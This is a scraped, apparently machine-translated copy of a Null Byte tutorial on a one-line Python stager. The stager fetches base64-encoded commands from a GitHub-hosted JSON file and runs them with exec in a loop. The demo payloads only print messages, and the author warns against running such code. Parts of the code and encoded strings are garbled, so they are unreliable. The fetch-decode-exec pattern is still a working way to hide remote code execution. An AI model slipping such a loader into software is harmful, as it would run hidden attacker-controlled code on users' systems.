قالب وردپرس درنا توس
Home / Tips and Tricks / Running hidden Python commands in a one-line stager «Null Byte :: WonderHowTo

Running hidden Python commands in a one-line stager «Null Byte :: WonderHowTo



Working through the attack

Take a look at the code below, which tries to hide what it is doing. It is a good model to understand how a basic stager could work. It looks pretty straightforward at first, as it only looks like it is requesting some data and executing something similar to a Base64 encoded string. import applications; import base64; data = (requests.get ("https://github.com/skickar/Research/blob/master/twitter1.json")). json (); exec (base64.b64decode (data [“m1]). decode (& # 39; utf-8 & # 39;))

If you know anything about programming, that code is quite alarming because you have no idea what's in the string, and you have no idea what exactly it will do. It can be glossed even further so that all you really see is just the Base64 series. You could hide a really long string of commands behind a single exec function to hide what's really going on.

What is the use of all this? What is the worst thing that can happen when you run the code?

Let's take a payload like below and run it in PyCharm.

  print ("The operation was a success")
print ("If you see this multi-rule works")
print ("Now just riding the train") 

You can see that these are just a few print statements that actually work.

  The operation was a success
If you see that this multi-line works
Now just ride the train 

Now let's go back to that one-liner and look at the raw form of the linked URL for the JSON file in a web browser to see what it looks like.

  https: // raw.githubusercontent.com/skickar/Research/master/twitter1
.json { "m1": "Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGGPX "M2", "cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8 / IikKCg ==" "M3", "cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo =" }

Looking at the JSON input, we can see that this is the actual code:

  {
"M1": "Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo =", "m2", "cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8 / IikKCg ==", "m 3": "cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtle XMgYXJlIG 9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo = "
} 

It's all pretty confusing and doesn't really mean much to the average person when they see it. It's not a lot of obvious commands, and they should decode them all to really see what happened.

So if there were a lot of harmless commands in the JSON, plus a few malicious ones, or if you were able to call the commands in a different order so you basically have a build malicious structure, then the game starts to change. That's because we don't know in what order they're called. And you could do all sorts of other things to cover up the way the code works.

These are all levels of deception a stager could use to hide what his true intentions are. You don't want to immediately let your best malware in and then have all your exploits there so that if someone catches it, they know exactly how to protect themselves against it.

Now how do we get these Python commands to actually be the strings, and how do we get it to run correctly when we run it?

If we take our one line of code from the stager and run it in Python, we can see what happens. As you can see below, we got a whole bunch of print stats and that wasn't really what we expected as it was quite short. So there is a lot of text here coming from commands and we don't really know what's going on besides these printing instructions. Aside from that, we could have a situation where other things are running on the computer and everything we see is something deceptive trying to make us think everything is fine.

  ~ $ python3

Python 3.8.2 (default, April 1, 2020, 3:52:55 PM)
[GCC 9.3.0] on Linux
Type "help", "copyright", "credits" or "license" for more information.

>>> import json; import applications; import base64; data = (requests.get ("https://github.com/skickar/Research/blob/master/twitter1.json")). json (); exec (base64.b64decode (data ["m1]). decode (& # 39; utf-8 & # 39;))

You should NEVER just leave any Python program Exec code on your system!?!?!
Are you crazy ???
But how does this script work while you are here? Well it is stupid and wonderful
What it does is request some JSON data from Github, which is loaded with base64 strings
This code takes that JSON object and decodes the base64 strings, which are actually Python commands
Then they run blindly on your soft, vulnerable system, but since the JSON keys are organized in such a way that you can add as many as you want, you can easily add commands.

>>> quit () 

Now let's take a look at the Python script we ran in PyCharm, and we can see the print instructions that will run.

  print ("The operation was a success")
print ("If you see this multi-rule works")
print ("Now just by train") 

If we run we should get this:

  The operation was a success
If you see that this multi-line works
Now just ride the train 

If we want to encode it so that we can upload it into the JSON object, we can run base64 with the filename we used to save it to our system (yours may be something else). That will encode the contents of the text file.

  ~ $ base64 yourpythonfilehere.py

cMJpbnQoIlRoZSBvYXRpb24gd2FzIGEgc3VjY2VzcyIpCnByaW50KCJJZiB5b3Ugc2VlIHRoaXMsIG11bHRpLWxpbmUgd29ya3MiKQpwcmludCgiTm93IGp1c3QgcmlkaW5nIHRoZSB0cmFpbiIpCg == [1945902million] If I get after decoding exec, it will go ahead and not just maintaining the code is that only line breaks, so I can run multiple lines of code within a base64 object. That's an advantage because you can have one long object that looks like it's one thing when in fact it's a lot of different lines of code all crammed into one. 

This is great if we want to make it difficult to analyze. In general, our process is going to write several payloads, convert them to a Base64 string and put them in a data structure like we see here:

  {
"M1": "Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo =", "m2", "cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8 / IikKCg ==", "m 3": "cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtle XMgYXJlIG 9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo = "
} 

With each of these messages we have another command that is mentioned.

Let's go back to PyCharm to see what happens when we try to analyze the code. Instead of running the sketchy thing, we're just going to print it by changing "exec" to "print" as a rule.

  import json; import applications; import base64; data = (requests.get ("https://github.com/skickar/Research/blob/master/twitter1.json")). json (); print (base64.b64decode (data ["m1]). decode (& # 39; utf-8 & # 39;)) 

Now run it as a stager, and we can see the following:

  for i inside range (2, (len (data) + 1)): exec (base64.b64decode (data [m{}'.format(i)]). decode (& # 39; utf-8 & # 39;))

Process completed with exit code 8 

What the code does is start a loop. It starts at 2 and continues all the way to the length of the data, just like many different messages we put in our JSON object. It is designed to be flexible so that it ensures that it contains every single message in the JSON object. We can make as many as we want and the code will find them and run them one by one.

This. Format causes us to use the current variable "i," each time we go through the loop, which starts at, in this case, 2, and then continues all the way to the end of the length of the data, plus one. I did this because I didn't start the "m" at zero. I should have started from scratch to make it easier. But for a rough sketch, it's a pretty good way to explain how to repeat some messages with an m.format or other format, using the loop's "i" to jump through all your messages. To make that really clear, we have m1, m2 and m3, and these are all keys in our JSON object.

The way JSON works is that we have a key, then a colon, then a value. Either way, in Python, to access it, we need to specify the key first and then the value. We specify m1, which will be the key, and we basically ask for the data in it as the value we replace, so what we do is say "hey, I want to put every part of the loop that is in m to it decode and put it here and then run it in this loop. "

That way we can extract our Python code and run a loop that jumps through all the messages we & # 39; ve uploaded. I just used m1 as an example, but any numeric string works fine.

We can continue with this and put our "print" back in an "exec". Instead of seeing the first line of code, it has now gone ahead and executed all the messages we had in our JSON object.

For a beginner, this would be a pretty crazy thing to miss, because a simple line like this, or even a more scrambled line, that only executes and decodes a Base64 string wouldn't really be something they would go into want to jump and try to decode because they may not understand how serious it is.

But for anyone with more experience coding than something that just looks like exec Base64 decoding, and a long string, you should give a lot of alarm because if that command is the rest of this you could have a lot of problems if it downloads and runs so many lines at once and really does what it wants on your system


Source link